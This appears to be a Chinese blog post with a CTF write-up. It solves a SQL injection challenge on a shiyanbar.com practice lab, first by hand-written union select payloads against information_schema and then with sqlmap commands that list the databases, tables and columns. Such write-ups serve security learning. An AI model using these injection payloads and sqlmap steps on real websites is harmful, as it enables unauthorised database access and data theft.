首页 > 其他 > 详细

21.这个看起来有点简单

时间:2017-08-04 10:52:00      阅读:283      评论:0      收藏:0      [点我收藏+]

这题就是个sqi注入的:

    手工注入:

        我先是简单尝试,就发现了,可以执行sql语句

        http://ctf5.shiyanbar.com/8/index.php?id=2 group by 2 没报错

        http://ctf5.shiyanbar.com/8/index.php?id=2 gourp by 3 报错

        说明我们有两个字段可以提供给我们使用,比如说如下语句

        http://ctf5.shiyanbar.com/8/index.php?id=2 union select 1,2

        技术分享

        那么就简单了,直接查看所以数据库名

        http://ctf5.shiyanbar.com/8/index.php?id=2 union select group_concat(schema_name,"~~"),2 from information_schema.schemata

        技术分享

        得到三个数据库,我们猜测第2个数据库中(因为该页面的数据就在其中可以用database()查看)

        查看里面所有的表

        http://ctf5.shiyanbar.com/8/index.php?id=2 union select group_concat(table_name,"~~"),2 from information_schema.tables where table_schema =‘my_db‘

        技术分享

        应该就是这个,查看字段名

        技术分享

        OK现在可以直接看flag了

        技术分享

        直接复制进去就可以提交了



       SqlMap工具利用,这个就快当了:

        探测是否有注入:

        技术分享

        有注入漏洞:

        技术分享

        爆破所有数据库:

        -u "http://ctf5.shiyanbar.com/8/index.php?id=2" --dbs

        发现三个数据库:

        技术分享

        爆my_db库中的表:

        -u "http://ctf5.shiyanbar.com/8/index.php?id=2" -D "my_db" --tables

        发现两个表:

        技术分享

        直接爆thiskey这个表中的字段:

        http://ctf5.shiyanbar.com/8/index.php?id=2  -u "http://ctf5.shiyanbar.com/8/index.php?id=2" -D "my_db" -T "thiskey" --column

        技术分享

        得到Key(我用的是最新sqlmap)

本文出自 “11846238” 博客,请务必保留此出处http://11856238.blog.51cto.com/11846238/1953431

21.这个看起来有点简单

原文:http://11856238.blog.51cto.com/11846238/1953431

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!